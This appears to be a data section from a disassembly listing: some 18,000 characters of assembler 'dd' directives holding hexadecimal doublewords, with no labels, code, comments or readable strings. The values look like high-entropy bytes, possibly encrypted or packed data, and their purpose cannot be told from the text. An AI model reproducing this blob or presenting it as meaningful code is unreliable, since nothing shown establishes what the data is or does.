		dd 4B2AB2C3h, 0D99D22B9h, 0F5B2AE2Eh, 0F016DBB8h, 42712A49h
		dd 0D99C8789h, 827B4C37h, 12DFE966h, 0B6442D71h, 8D9902F1h
		dd 11001280h, 0D670377Dh, 254B2061h, 77AF92B9h,	6845F342h
		dd 0BF93B93Bh, 0BB8713B6h, 8EF93B88h, 0A1ACF25Ah, 9AF64A5h
		dd 0C41F1712h, 0B24F937h, 0F5335165h, 49428F0h,	6525176Fh
		dd 98EE3A11h, 0E66EAB62h, 9B8144A1h, 176E6011h,	88B296E7h
		dd 5D95B3FBh, 0B27B98D8h, 0C45C2E81h, 18684595h, 8EF064E7h
		dd 206845B5h, 29AA7733h, 0BF055E38h, 8B0C1097h,	661067AEh
		dd 8C400FD6h, 0F63977C3h, 0E13F5F87h, 9B35B15Ah, 0B79BE1F0h
		dd 56849011h, 0F2A923C0h, 0F74D804Bh, 0AE86A95Dh, 0A6244639h
		dd 0AAC88B2Bh, 218EB285h, 2D298B05h, 2EAD1A52h,	8AFAE740h
		dd 1CE9BC40h, 595CB73Ch, 0E867EDC4h, 8E863D2h, 3426E22Eh
		dd 6473C194h, 40574345h, 0DA1176A6h, 0FAF42D4Fh, 0F71E6251h
		dd 0C8BD7EFBh, 0F5C8DC8Ch, 650D3478h, 0F01252C1h, 5B23684Ch
		dd 0E815A780h, 0F22FDC42h, 139A4083h, 8BFB6EB5h, 61724138h
		dd 84BFB502h, 2CFD5629h, 524B0FCCh, 0E7DEE2BCh,	0EF734ABBh
		dd 0A0208AF3h, 0C8E660BBh, 409C218Dh, 1E431A03h, 62AC8878h
		dd 5B49C921h, 0FC9CBA57h, 0A85995AAh, 90F1FEDDh, 6CEB3A7Ch
		dd 2A664BDFh, 0E35A3700h, 5B8A3CF2h, 1FAAB5AAh,	9DDFB1E5h
		dd 9C5F8303h, 0F3E76629h, 297E2D4Eh, 820BE748h,	0AB46AAEFh
		dd 9179A555h, 0DFD56B57h, 134D9B26h, 0FC00F23h,	15383886h
		dd 0F2172E07h, 55A362BCh, 5365C954h, 0BB9A2DDCh, 2336A105h
		dd 35E8A354h, 794D5A37h, 0B973568Dh, 80274C1Ah,	0FB9A03h
		dd 73C02h, 0D6335E79h, 5297F519h, 6EE6B37Dh, 10AAFAC6h
		dd 0BB3A40CEh, 0C8CD6E0Bh, 5E43183h, 0C65C03Eh,	87FA0E60h
		dd 0BEEC4D7Ah, 9E509322h, 0B33C96E3h, 0EEC75F61h, 0F48C1C84h
		dd 96D5A360h, 220FB9A7h, 93F63362h, 813CFD4Dh, 0E38BE6ABh
		dd 7A40D980h, 0ABB95E5Eh, 7360295Eh, 959B8A2Ch,	0E098AB07h
		dd 8D68DA1Bh, 0BFAC6687h, 8D0D5F59h, 13680F32h,	6D54F8F3h
		dd 91E626B4h, 68BBBB7Ah, 0EEA926AEh, 0E31572AEh, 33723054h
		dd 0A8EE682Ah, 1B4D0CD7h, 0CBBBA9B0h, 8AB9CD4Ch, 0C31FD58Ah
		dd 5B44104Ah, 0FCC4D77Fh, 0BB09E0FCh, 0B7EA4532h, 55728E1Ch
		dd 0D20465A5h, 0BCCF6862h, 2A7B422Fh, 5D99C13Dh, 0DBAA5180h
		dd 0DE17D792h, 0CD6B5AD5h, 5A71C283h, 52623AF0h, 65D55834h
		dd 44040D9Fh, 0D4F40081h, 0D7F9FBE3h, 883BB9A1h, 4644518Ch
		dd 17464634h, 4B72EB50h, 0EE74FFD5h, 8D0179CFh,	5EE3F545h
		dd 4814A3D1h, 8FF80B11h, 3CD4D68Dh, 25571517h, 4C7635A8h
		dd 4005E5E0h, 54FA5FDBh, 19CF74ACh, 1C69E980h, 0F8400EF0h
		dd 66589051h, 0C5F0DAD4h, 0AC7C4D63h, 125BA0A7h, 0F2B71D2Dh
		dd 19CD4ACAh, 0E45B21CEh, 555C009Bh, 8A24C09Fh,	0B9B5FC38h
		dd 578F3936h, 0BDA75F55h, 0B549D680h, 0C347D380h, 73F71C02h
		dd 0C059A01Ch, 6C10C058h, 5D045D10h, 9991A2D9h,	91CB6E72h
		dd 13CE52FCh, 0A57CA268h, 354A5630h, 0A460935Ah, 6E1BA7F6h
		dd 1BDBABCDh, 3B5CC6FEh, 79F5CF38h, 3A282DF5h, 539BCB0h
		dd 0A403A552h, 88979A64h, 0C4C8CFE1h, 20294588h, 0F4808A4Eh
		dd 0A4E202E8h, 67388FD8h, 0CD954BAh, 3B409EEDh,	0D1B7BBE7h
		dd 6192AC9Ah, 70BCC513h
		dd 0DAE619ABh, 0E4A63CCEh, 556AB790h, 0B34E18C9h, 61B73A74h
		dd 0A5A1AD06h, 8C075313h, 0E733A594h, 698AB209h, 0EAA1EDCh
		dd 0D832834Bh, 45C639D2h, 470EB3C5h, 0CD30180h,	36B6083Bh
		dd 0E746859Ch, 4613401Fh, 575D5CB6h, 0EDEA0520h, 277535C0h
		dd 3EBECB48h, 3A5660Ch,	8472E40Dh, 605FFD03h, 988EEECCh
		dd 8608DCB5h, 0DEDF368Bh, 0CADAFC05h, 400A314h,	0CCA18AC0h
		dd 0E60A7302h, 0F6677015h, 0A6486048h, 0DF8D1A5Bh, 0DB36AA7Fh
		dd 90EB46F4h, 14D0B3BCh, 0CDF37DB3h, 80A1118h, 940EEE2Ch
		dd 1D0A3BBFh, 7E0C6ACDh, 0E0B9CE80h, 875A3673h,	0D308BAAh
		dd 7300B1CCh, 53674D28h, 0C73DD08Bh, 0FB14B6D9h, 6EB472A0h
		dd 0F45B4037h, 116D05CFh, 1A437C3Eh, 79E417ADh,	0D5A3721Dh
		dd 66CC5791h, 0C05437CCh, 0FFC03311h, 0C38D3E67h, 0E79597Fh
		dd 5FF71D9h, 0EE134090h, 0B409081Fh, 4697EDEh, 0C3DF6E59h
		dd 0CF0F36B1h, 6178E347h, 0E89E4B5Dh, 2BC3AF0h,	5D98AA0Ch
		dd 0E6C9F38h, 158A05ADh, 280EB452h, 0A89D6079h,	0CE8A481Bh
		dd 0BECAEF30h, 0E9FDBF7Eh, 79589430h, 96B24597h, 635990E7h
		dd 0D34BA900h, 4039177Ch, 0B4D68D6Ah, 8EB422BCh, 0EE291EB4h
		dd 3B7B9AEDh, 4025778Eh, 66A13A59h, 2ED51E58h, 9AADDAA6h
		dd 2ED62B7Bh, 0D6E0DAA0h, 0A3677554h, 810E22F5h, 10CE16EBh
		dd 126F936h, 0B8A45405h, 0C3B9AC3h, 0F40277D0h,	65B8A38Bh
		dd 4B240AD3h, 28FB9AA7h, 0E48B4A7Dh, 0BADBD379h, 59D4FB1Eh
		dd 0EC54F5A3h, 603D676Bh, 64BBF07Fh, 3DCEDDDDh,	0DD71ADF5h
		dd 86C2FA47h, 6AE1435Ch, 0D4B18A87h, 60B7A3ECh,	0DDE6B3C1h
		dd 0BAAA3FEEh, 7DAD1BDBh, 8D1D5E79h, 0D80D62A1h, 9D2DD22Eh
		dd 794D2D1Ah, 94665F6Ah, 0F6644B27h, 38E27FE7h,	5DEE6976h
		dd 0BBD94045h, 4D1780F3h, 0C9526D30h, 0E975566Ch, 5022C9B0h
		dd 0D19B32F4h, 1E667B9Fh, 969E0F29h, 0DF05D957h, 44CA600Dh
		dd 1A522DAFh, 31209A8Ch, 18253220h, 39224335h, 0B5182932h
		dd 0E3DF43D8h, 0F4D1CFFBh, 0F35ECC46h, 18DCBA2Fh, 0AC6D4E19h
		dd 9B79AB91h, 0BC25C8F8h, 0A549148Dh, 0D99F6F36h, 136C65E6h
		dd 0B6C25657h, 0E0378074h, 974D7D86h, 0A0549C07h, 8E367B45h
		dd 0AB98441Eh, 0DF1DB661h, 49BF3705h, 9D5C306Fh, 0E0608EB3h
		dd 5E57EFBCh, 48C00381h, 4B973168h, 0E9E788D8h,	7C36E1D8h
		dd 0EEE8DB79h, 0E3864533h, 8073B86Bh, 5240E7CEh, 0DA30280Ch
		dd 15B98E46h, 0CFFA9C5Fh, 0D13353E7h, 0B05FF8BEh, 0E8888A4Fh
		dd 0F07EEBA6h, 0BBC02BAEh, 903DC4A6h, 1F55408h,	2E766A05h
		dd 741CC8BEh, 0C5C89437h, 61971915h, 320BAB26h,	0AD501815h
		dd 0D206BA0Fh, 74BD6E75h, 3C3CC45Ah, 81ADB65Ch,	0E6F0B02h
		dd 3064BEE9h, 0FBE0F71Eh, 35617603h, 239A7A5Eh,	0E2FB8E86h
		dd 3E41F58Bh, 34ACAAE8h, 0E0B525F6h, 10BA5ECCh,	29B68527h
		dd 0A071EAF6h, 5555D268h, 0FCB6B152h, 7E037429h, 175DA22Fh
		dd 0CAC564B3h, 82CCAB5Ah, 142970B2h, 4EEA37EBh,	45587D99h
		dd 6C188991h, 4B05EEEDh, 0BE39C689h, 34E96772h,	1B6CA9B5h
		dd 27AE437Fh, 76B9D6ABh, 0EC42ED7Dh, 0AA9FD8Ch,	8246052Fh
		dd 48A50B97h, 460D6AA6h, 0C38A5467h, 0DD2711C3h, 2A512BDFh
		dd 0FEC8A17h, 59071855h, 5232FBA2h, 0D8259A95h,	3AC6B54Eh
		dd 0B4606A98h, 0BF2A8062h, 8331533Fh, 0B317E82Eh, 28D758C9h
		dd 0E038C55h, 823AB315h, 5E3C214Ch, 1778DAB3h, 897CE398h
		dd 0D135E13Eh, 105F0C7Fh, 0DA9B3DE3h, 2F250EC9h, 0C1DD50A5h
		dd 0EFFAD350h, 34BFFCE4h, 83667518h, 0C53AB512h, 0FC21F8E0h
		dd 0B57B1EE0h, 35EA4612h, 0CB35E197h, 0DFAD20E7h, 116196C8h
		dd 8F76E970h, 1F738DBFh, 71878EBFh, 0F8FE3D01h,	6D2DB726h
		dd 9B01C581h, 1786FD26h, 605E1BB4h, 0F7C8D815h,	0BE55A482h
		dd 9069B120h, 46C18671h, 1BBE3CDBh, 1F4DBF75h, 2D3EC124h
		dd 8A134B57h, 0E8086DD8h, 0D85629B7h, 0B4A0D9BDh, 4940E588h
		dd 0F1658C91h, 0D907A26Ch, 85811E90h, 0DDA78949h, 0ECADDD24h
		dd 0FE6FC0A9h, 0AA403B33h, 6624D1Dh, 23174386h,	0F24D9C7h
		dd 53B4B97Fh, 0C5DDCBA6h, 0EDD8C63Ah, 0E7481C7Fh, 5541270Ch
		dd 8F0A67D0h, 2E70EEC0h, 0EC2852A8h, 640FB8Bh, 357D3AEh
		dd 0C4A93CB5h, 0E0616AF8h, 2F7478E5h, 13459383h, 0BF6FC974h
		dd 1110CB8Eh, 0BA059ABFh, 0CF2EA838h, 88E68881h, 0B1CB9EC0h
		dd 912939CBh, 0D88E09EFh, 0D6816EC2h, 7D45EFFAh, 0A8D00050h
		dd 43F73937h, 0FDA161A3h, 7FA0A1FEh, 7D148CBEh,	3C580890h
		dd 0D59814B8h, 57F1B12Fh, 0FA895D04h, 4E9436ADh, 0AC183AE3h
		dd 79FF0516h, 8E9654DEh, 0E9300C3h, 4800D5E4h, 0F2C70369h
		dd 3B83BE39h, 8045CB07h, 1E1002E5h, 73BE347h, 453F97CDh
		dd 4B1DD183h, 4639A3B1h, 7A1847h, 70C4E26Ah, 86E828B2h
		dd 21DFB818h, 73B62D50h, 597A4386h, 7C282C29h, 1DBF3F77h
		dd 0B58ACC0Fh, 717B8090h, 320D13FCh, 0D847FE2Eh, 8E2E12A6h
		dd 815B321Dh, 698C18F7h, 0E757EC5h, 3550092Ah, 0E9B9D1F7h
		dd 1BD230C5h, 7A57C0FFh, 0DAA37EBBh, 9710414Ch,	0D4F5FF7h
		dd 0FE0875CCh, 66540D4h, 31B12398h, 4A2261D7h, 7EA5C19Bh
		dd 29D194E0h, 378A5852h, 7BD3019Ch, 0B4C53F7Dh,	0EDA634F5h
		dd 98B9D8Fh, 4FFD4EEFh,	173B1E98h, 7700F113h, 0B170CE1Ch
		dd 2F450E82h, 5218DD78h, 657BB9A4h, 0BBC4930Ch,	0DC5B6EBDh
		dd 62E1573Dh, 899E7AFEh, 7843A242h, 575604CCh, 0FEEAF7F7h
		dd 679DC568h, 0F0A4619Eh, 0EE87755Ah, 0D9332077h, 6CFF39AFh
		dd 0A9C4BFA7h, 1A46DBAh, 0E71E51DEh, 2814FC1Eh,	0BFE33C6h
		dd 45E3C916h, 0ED5CFF90h, 1B54EEE8h, 11FC80EFh,	159853E3h
		dd 20C1CE33h, 18C6CDD0h, 6A6B7C06h, 3EA3CDC4h, 7D567538h
		dd 711AA7EAh, 613A29C9h, 4573504Fh, 68D59878h, 0BA42233Fh
		dd 0D19C9AFFh, 7CD6EC32h, 0A1F11B19h, 0FC1B5076h, 0D34C680Ah
		dd 84C1037Dh, 9BC18DA8h, 0C1BFFF05h, 715CE2CCh,	0FDDD2386h
		dd 27895A63h, 0E46C14F4h, 0E896A5BDh, 0DAC338F3h, 67A8FC26h
		dd 0FFCADFE7h, 0EE70EEA6h, 0DF7D8D7Fh, 7E59267Bh, 0DE91E914h
		dd 0A2365518h, 5534E5AAh, 72E3FDFBh, 0A3551186h, 0FE68AA0Ch
		dd 0DFFD59EBh, 0A93A1507h, 8FBCFE9Bh, 3A3A07F3h, 8FDA9FBFh
		dd 0C22306D4h, 63DE807h, 81059AC4h, 0D3D5E17Fh,	0DBFCC67Bh
		dd 3004B1D4h, 7EFECC7Ch, 0AF74ED05h, 8B4A9AF4h,	15BC3035h
		dd 0F59A795h, 0F64854F9h, 8E2C451Eh, 6E5F60BCh,	26F57EF5h
		dd 8A73B598h, 48CD9EEAh, 0E91DD331h, 86CF3538h,	2CE3286Ah
		dd 6018B41Eh, 0BC8A179h, 0D507D46Fh, 98FF74E2h,	0D31CADDh
		dd 6878EA87h, 0B71D7A03h, 63289911h, 0AE341764h, 39859DF0h
		dd 0A731FBDh, 71D08298h, 9DA69FFFh, 0D3A506B6h,	81C56FE7h
		dd 60A52CD1h, 11751EEFh, 0B5D9BEEh, 0D70FB7F1h,	0B6B271BAh
		dd 0B49D0E90h, 0E9ECFC45h, 7E663989h, 35FFDAC7h, 0FA536208h
		dd 3CF67B99h, 165B8F09h, 5FAF479Ch, 0A74604B6h,	54F35B91h
		dd 0AB762CB8h, 5F9444F7h, 0AB2345E5h, 33A54C2Ch, 99F871CAh
		dd 46E98582h, 0DC6901DAh, 334FF62Ah, 45261BFCh,	7E1B74EAh
		dd 783521A9h, 78D4532h,	0C932B547h, 52460E6Bh, 0DBF154Ah
		dd 8993A8FCh, 92583695h, 12477AC8h, 0C36BBB71h,	91BC0A28h
		dd 0C2BAC2D6h, 0A1874478h, 4A403FB3h, 0D8D415BBh, 0DF3164BEh
		dd 0B4FEEBA8h, 88A0F612h
		dd 0A31872EEh, 1B086EE2h, 19247677h, 0C0EFD41Bh, 32B5BE20h
		dd 11B1F55Bh, 664BBD9Fh, 0C0603517h, 5C565ADDh,	0DA19938Fh
		dd 7DBA735Fh, 0B46707D7h, 0A9F3616Fh, 8CD9933Dh, 9916FB58h
		dd 0C785B97Dh, 0F6C60F0Bh, 0A1ED0705h, 0C54DE3DFh, 17C174AAh
		dd 8DA9B6FFh, 6023283Eh, 30A8F15Ch, 0A16B70C5h,	0A2BA1F40h
		dd 0EAEF82DFh, 3D99F609h, 0A7AD0F6h, 1A80C912h,	0BC62C550h
		dd 0C3F26E1Ah, 0B30F18CAh, 951B4D3Ah, 6364D5A5h, 0F73ECC85h
		dd 0F3588599h, 1B210061h, 3466AD19h, 678D807h, 2DA42F40h
		dd 14EF324Dh, 32EBD86Ch, 0B446ED7Bh, 0FF34235Bh, 0CB15EEBh
		dd 0DD611DC3h, 611B131Bh, 0BF3F053Ah, 0C231B1F0h, 118DDB05h
		dd 0F5574076h, 4DC8847Ch, 0DFC20F4h, 4FB68C20h,	267D3A51h
		dd 2D0F6EAFh, 26F285C4h, 0EF4996A0h, 5BF2771Ah,	66DDF665h
		dd 2EA6B20Ah, 0C1E7A9DEh, 0C03E47D4h, 4174BB33h, 0D214DC7Bh
		dd 88FE4BEDh, 31E9FD0Dh, 9E0459Ah, 0CDF5FDB2h, 18951167h
		dd 8FC7EA23h, 0BF75134Eh, 0D00BD441h, 0CF4EEEA3h, 5CAF4AA9h
		dd 7AC77117h, 0C78D9BEAh, 0ACDCB1CCh, 23457077h, 877FEF02h
		dd 444DC3Eh, 3020CFBAh,	865020D5h, 26F6BCEEh, 2020ED77h
		dd 7B936A6Dh, 433C2171h, 407715FBh, 0B934D771h,	0C36C5E97h
		dd 0B94F0C17h, 0FCB1F192h, 0CF1F0909h, 3E15FFEEh, 24F8E56h
		dd 1F8C59C5h, 4C9E0993h, 99EF6BB0h, 0EEB32C78h,	5EC02E7Bh
		dd 0EA4344DBh, 2C2D7D05h, 0E28DD84h, 95941973h,	0A38CD78h
		dd 336A9215h, 0B8C3B05Bh, 8D896E49h, 9BCDB194h,	469A6031h
		dd 0D6735152h, 8F683931h, 9D9B4E3Fh, 7C9C4914h,	1797F76Bh
		dd 0F4FEEF1Eh, 0FEE2CEB2h, 7E77420h, 0AE0BDB8h,	5B055EE2h
		dd 52097C50h, 0F9CB8BD0h, 28315799h, 237DFD90h,	5F8BBD90h
		dd 0E66E8BACh, 30BBECC1h, 0B52E2113h, 4938CB14h, 744CDCBEh
		dd 0A345DC0Eh, 0D647EAE9h, 0C168B468h, 299B3BCCh, 7EC1DBB2h
		dd 8E0869D8h, 838B187Dh, 17077FBFh, 67C4DB1Bh, 1E26EB5Dh
		dd 2E7BDF5Dh, 0FAB1FD51h, 846CDDBFh, 5618C33Ah,	0E95B8750h
		dd 32FBC4FEh, 0B76386B3h, 4A66F14Dh, 0AA905AA2h, 0DF0FB7BAh
		dd 5BBC018Fh, 0F0C242D9h, 0E7A6AB3Eh, 1367362Ah, 787FA00Fh
		dd 50C7BF13h, 0E00789BEh, 1E26E97h, 74F4C5F9h, 309BC9B0h
		dd 297236F0h, 60358CC2h, 0C3301A46h, 0E1AB980Dh, 5C1DBB09h
		dd 0FC05D250h, 826A845Eh, 659560EDh, 5F21B878h,	54814131h
		dd 17FD4A27h, 26BC4A22h, 0E5D98770h, 3354305Bh,	0CDE603D5h
		dd 67F946A3h, 0BDC79C23h, 556FE2A2h, 3F1507FCh,	4EEDFC53h
		dd 0DE369A7Dh, 5DBA30Ch, 3FDA642Dh, 619D00C1h, 0AEDC5275h
		dd 0B5C527EBh, 51821A5Ah, 0FC11E547h, 0C567F2D0h, 0DE3B9A38h
		dd 0ADFC8A03h, 3E6349EAh, 33BDEEFFh, 0ED944EA6h, 0B17C66DCh
		dd 4366ADE0h, 0AEB940A1h, 3039CCD9h, 361D7DE3h,	0B7FBB7D6h
		dd 0D45200A2h, 489D60ADh, 15F806h, 0A0B8C3B7h, 0B13B7EB6h
		dd 0D44C2DADh, 0D7B4BEBAh, 9A2FC7CCh, 8071E760h, 0B565F5CBh
		dd 0A333CB5Bh, 0F5DCCFBFh, 0F8FEFA7Ch, 0DC3459EEh, 0BAE1A316h
		dd 0C5786833h, 0F42B4290h, 0CADE1B01h, 381A0CF7h, 1448501h
		dd 49015C7Eh, 6E5DEE78h, 0E5AFA139h, 9135131Fh,	0FE02FFECh
		dd 0A3BC0C70h, 2EF7DD84h, 1FBDEBE9h, 0DEB36C73h, 0BEF3F2E3h
		dd 6222F747h, 0EEE0559Fh, 0BBEC7140h, 0F1F8C0E8h, 0EC93461h
		dd 8F26D030h, 59EFD1DFh, 2837452Ch, 63F578F2h, 0C39B2FB1h
		dd 9FCC2C93h, 4BCB411Fh, 44DF305Fh, 4A12ACB0h, 0D34E3714h
		dd 0A17DDD15h, 91467570h, 1A6BAC56h, 0E7E02B82h, 2B85096Dh
		dd 4CD2EA13h, 0CF8F17B5h, 0B2DBAC7Fh, 0F9B02F43h, 6306987Fh
		dd 7E11EB51h, 0AD3CEF8Fh, 0BE0E8066h, 9D42755Ah, 9F1F6B54h
		dd 1DDFD13Fh, 332842B8h, 1EC36148h, 42FE9F31h, 3B7F383Ah
		dd 2D27C8B2h, 9F11DFE5h, 5D478F5Fh, 0E23C02EAh,	0D305BF9Ah
		dd 1D4AFCCAh, 0F22C1083h, 0E96C851Dh, 0C7E4B4C3h, 14FC7F9Ch
		dd 0BC5CBF19h, 0C1FE5F19h, 3CEEEF8Ah, 572A27C3h, 4294BF9Fh
		dd 28E558D0h, 0A0D99093h, 63FB430Eh, 34610DFh, 97560BBBh
		dd 0D0332B8Ah, 37A5ED2Ch, 0EEA05877h, 915A1984h, 46CA50Ah
		dd 0A89A4BDh, 947E42DAh, 0C8851F8Ch, 0EB3D055h,	268B42EDh
		dd 560D37F6h, 1DB3ED45h, 67E795B0h, 3C38BECCh, 572A4D2Eh
		dd 9E57F217h, 6057A8EEh, 0BC265D27h, 0E401EAD3h, 0EF3715FFh
		dd 0E2EF665Ch, 17774CA5h, 460BF35Eh, 6547D0EDh,	0CF9C7C00h
		dd 0E3ED9C87h, 0B051B120h, 0A57030ACh, 3632C293h, 3B440CFCh
		dd 201FB887h, 1339EF62h, 41C542BCh, 868C8E28h, 0E36A4136h
		dd 2BDC0EBFh, 8AE5F35Ah, 3645BC03h, 8B53B0B5h, 0BBB5D3F4h
		dd 7E0261B0h, 680627C2h, 6CF44EBh, 0BE795BF2h, 731128F7h
		dd 3078EF35h, 8E3D22B0h, 0DC0035B7h, 9C855A9Ch,	0ECA8DC1Fh
		dd 165F08AAh, 0C9DE0763h, 2CEEA5DFh, 42D62B92h,	28E37B19h
		dd 91419AC6h, 0EF4A6EA7h, 37A87EEh, 1F0298DFh, 723AD566h
		dd 50FF827h, 33C64160h,	0BC558AB4h, 0BEC020DFh,	7B309E83h
		dd 0DC402FDh, 644F8344h, 0B600A638h, 0DDD839Ch,	7BFAFA60h
		dd 8818F0E2h, 9D309FFBh, 85D2CDF8h, 0DB5932F8h,	0B5DBF8Ch
		dd 0F6B30DF1h, 0C7F6FE3Ch, 185F1083h, 0AF163A0Ch, 37D99526h
		dd 9BE1E4D4h, 0C586FB0Eh, 0DF59F193h, 0D4B528EAh, 0F233E34Fh
		dd 89BA331Ah, 4897839Fh, 0E994866Fh, 0D5E7E05Dh, 0D75BC3ACh
		dd 0DA867A2Ah, 0F6A57028h, 0ED7104C1h, 5F6E9D9Ch, 69FABD7Fh
		dd 0FD7B3BF0h, 1FDD620Fh, 5A88D065h, 7C32DD47h,	0C700C2E6h
		dd 0E00E44h, 1B7B5809h,	0C5CBF7DFh, 66B7EDACh, 78F159BEh
		dd 0F0FB436Ah, 38B74293h, 136D1EC3h, 9DC721DEh,	0E5AA6BCAh
		dd 6E6F8715h, 0A16A3B93h, 4ED014E0h, 0ED0568Bh,	7C782FBEh
		dd 79DD74EBh, 48DE873Ch, 3F544F55h, 0F4667962h,	0BE2CC518h
		dd 0EEB07E7Ah, 9DB1A70Ch, 0D74ADA4Dh, 0EBF66476h, 0B5FCC306h
		dd 8DD5ECCBh, 0D7FFB6FCh, 51FCD1EBh, 0BDEB954Fh, 921D6D56h
		dd 0FBB91652h, 97D115h,	243431B8h, 142BC0B2h, 603283EBh
		dd 5C7BE5CEh, 0C223408Dh, 8AF74ACCh, 0D5259B90h, 8C876A39h
		dd 8D888FCFh, 27E359F1h, 22847FF8h, 0B5FC636Bh,	60AD23E3h
		dd 591A342Dh, 0E1B56ECCh, 0B3BC1CBDh, 43E4114Ah, 22CDD1D7h
		dd 0A0814A5Ah, 371A36F7h, 37180E5Ah, 0E7AFC65Ah, 35ED2057h
		dd 4EE3045Bh, 0B83B3A56h, 0EDF32F96h, 0EB3DCE38h, 4F596B8Dh
		dd 0F756C535h, 0D974F5ACh, 12616D45h, 7127BCA4h, 2BE895FCh
		dd 0F77CF703h, 6C83E222h, 47E25AE5h, 18D8F10Ch,	2DDD83E2h
		dd 0C2FB8417h, 0A3FB80B5h, 0CBF5C675h, 1D2782EBh, 705D5255h
		dd 92328814h, 6BC175Ah,	0C4678B45h, 0A36B5EF1h,	0BCB2DAF5h
		dd 928CA395h, 23F0CBB6h, 0F600FD02h, 3790F9D0h,	75E2DA80h
		dd 0F71F824Eh, 8DA6B1B8h, 6EF3EBD6h, 0F7496E3Fh, 0CCE85D9Dh
		dd 0BA6D5DBBh, 30F60C1Dh, 0C6D376EDh, 0A51F82Ch, 0B56EEAA2h
		dd 0DCCDBEAFh, 0C3F537F9h, 0CB16D7E0h, 2D7CED1h, 5DC39F97h
		dd 0C8F9EA1Ch, 0DF9D2A53h, 2E5CD380h, 0C01FF362h, 0A5C8BD28h
		dd 3144299Bh, 0E0C5A588h, 802940D3h, 0C453A2E0h, 7D881F4Ah
		dd 835B6C79h, 9B751F36h, 897480CFh, 0FE017DBEh,	8639FE03h
		dd 7B0F7D6h, 506D59BFh,	0EB74F1B3h, 0C2ED3C03h,	1BB5A805h
		dd 7554F889h, 42BB8DBh,	4BDC5410h, 5FD581C5h, 0A84D16C1h
		dd 77F95AD3h, 0A7F2052h
		dd 0C69E1EC3h, 47E1403Ch, 7EF9B63Ch, 0AAC9E813h, 0E4F40B8Ch
		dd 0F4098F54h, 189BE23Ch, 0E7DDB9E8h, 0E83CF40Eh, 267A0573h
		dd 0F40C6EF9h, 3EBBE03Ch, 77C133D0h, 0B667A04Dh, 4F40D2EFh
		dd 0A0586F91h, 0C4CADEE7h, 0E61FCF40h, 0D2DA05C5h, 531A9023h
		dd 73D02439h, 6AF3BCD7h, 4680C8A5h, 35223B21h, 2C47D70Ah
		dd 6E56428Dh, 0D8D344DDh, 83980AC8h, 0BE134F75h, 936F1C3Dh
		dd 892F17BBh, 7DD586FBh, 8F19E818h, 4EAAEFE8h, 0E537CBACh
		dd 1FF36CD6h, 3543C48Ah, 0A0C59806h, 0B7F0E7B5h, 0CE047CEFh
		dd 3AE0C7F2h, 25B56623h, 0E71BD558h, 1AE02EBFh,	88AABFEEh
		dd 0CDC01589h, 6733D5A8h, 6DA9DA98h, 2EACE642h,	0B06C1D5Fh
		dd 77F5606h, 0CAE02169h, 8D6E5BF2h, 0ED330344h,	0C4BB502h
		dd 0B8FE9CB8h, 76DD1B5Bh, 0A036BE13h, 0C8C005B3h, 0E6C6323Fh
		dd 0FEDFCFDEh, 0BB936400h, 274144CBh, 0D117C4FFh, 89FDEBAEh
		dd 0E1C68250h, 8BB5A456h, 71B2B8A2h, 6EC17A96h,	0D3FD49Dh
		dd 3D997556h, 0F4CBB01Eh, 53FB1521h, 0FAB624EEh, 0D357304Dh
		dd 78CF677Bh, 2EB4F50Fh, 737DBC7Eh, 3FD22E58h, 899593A5h
		dd 0AA810D99h, 0B67C124h, 0D0124CCCh, 9904B3CBh, 0C608F8C3h
		dd 8945869Bh, 0E2728B23h, 7CA2C303h, 45B4F9B1h,	2DCB5929h
		dd 16F13CAh, 59DEAA8Eh,	8B7E022Fh, 0CA3F0EB6h, 0E183AC04h
		dd 4DE0E7F8h, 7F4B28B6h, 0B118F693h, 6D65B7F9h,	745553ECh
		dd 4D892EB7h, 5F270B7Eh, 0B5FC4C12h, 60EF89B1h,	4C673591h
		dd 32DFCFFCh, 21A5FFF0h, 0A26FF136h, 3F803797h,	0D243258Fh
		dd 2E748BDBh, 522FC700h, 0F516BFC7h, 0B0B39ADAh, 0EB133A4Eh
		dd 0E5B580D3h, 37D58E4Dh, 0D8F8C0D6h, 8FEF1899h, 1FAABC61h
		dd 0ECDF3FE3h, 9BECF8C7h, 0C40E8C31h, 7C404B8h,	0CC7576A3h
		dd 0D3CBA849h, 0B882D727h, 512E47Fh, 6516CC90h,	0D0BCC4BAh
		dd 1D4B7222h, 95AD2C57h, 66A6C97Fh, 0C33E8984h,	99CA8D26h
		dd 15935E27h, 0A6351C49h, 7951FCF2h, 0DCD7ECF3h, 74914EA4h
		dd 335B54B7h, 1BA97B08h, 0EB031A63h, 74EA27F1h,	0DA0B4789h
		dd 15FBC09Fh, 8BECAA60h, 0BE56D18Fh, 0D6E51615h, 764071EFh
		dd 4C1717C1h, 82588F4Eh, 857F97h, 2C51842Fh, 0FE310BB5h
		dd 29350FCBh, 13D40491h, 2C9825BFh, 0B4609706h,	68CC6E98h
		dd 4DB922E8h, 98378FD7h, 1FDFDA0Ch, 3F0D0F46h, 0AD4BE642h
		dd 0D7DA85E3h, 0D10DAB90h, 0F842C987h, 4D5C5237h, 8E751DB3h
		dd 6E6237F0h, 873AC0EDh, 0BF561034h, 0D356ED76h, 0A39CFC0Ah
		dd 3D88D0B2h, 0C8CBA56Ah, 58818FCh, 0BC671867h,	218A26ACh
		dd 70D96CA7h, 8CD81093h, 0E31E0A14h, 0E1DD46F0h, 89F678Bh
		dd 31E39174h, 0DA825D09h, 0E6CE1885h, 359F83A3h, 53F77A26h
		dd 8D56FB1Ah, 0E7B8AF57h, 5B9AFE7h, 76FC6DDBh, 0C1F5BE1Bh
		dd 0B9E00937h, 0BD8A303Ah, 0C8F57A0h, 0AEE12FF8h, 8C17FFDh
		dd 847AA64Dh, 0E73E4E0Dh, 88E62A98h, 82B592Fh, 0D902CFA7h
		dd 0E182B5BCh, 6220C797h, 0DDA983C7h, 4B86172Dh, 9CC5B773h
		dd 0EEA4FC60h, 0E8F3298Bh, 561432F4h, 4F75F08Fh, 2283601Dh
		dd 9C6412D7h, 2706B43Dh, 0F904B684h, 0E2B32856h, 670718DFh
		dd 0F97E10F6h, 201522A1h, 0EA778B81h, 0AE309B5Ch, 154E3B89h
		dd 0CA7001A9h, 7F801CD8h, 0E5D19B1h, 0E2F6527Eh, 0B2B4801h
		dd 45EFCC31h, 51261E69h, 862FE5FEh, 4138C411h, 643B677Bh
		dd 0BF0A7E36h, 0DE3CCD5Ch, 0AE5ACAAFh, 232B94E6h, 0C663F191h
		dd 6AEB1D8Ch, 0E2F43CAEh, 5E080056h, 310B282Eh,	16C5F096h
		dd 0C6BAD7ECh, 7D5786D4h, 4F14CDD4h, 0D9945E33h, 599F70Bh
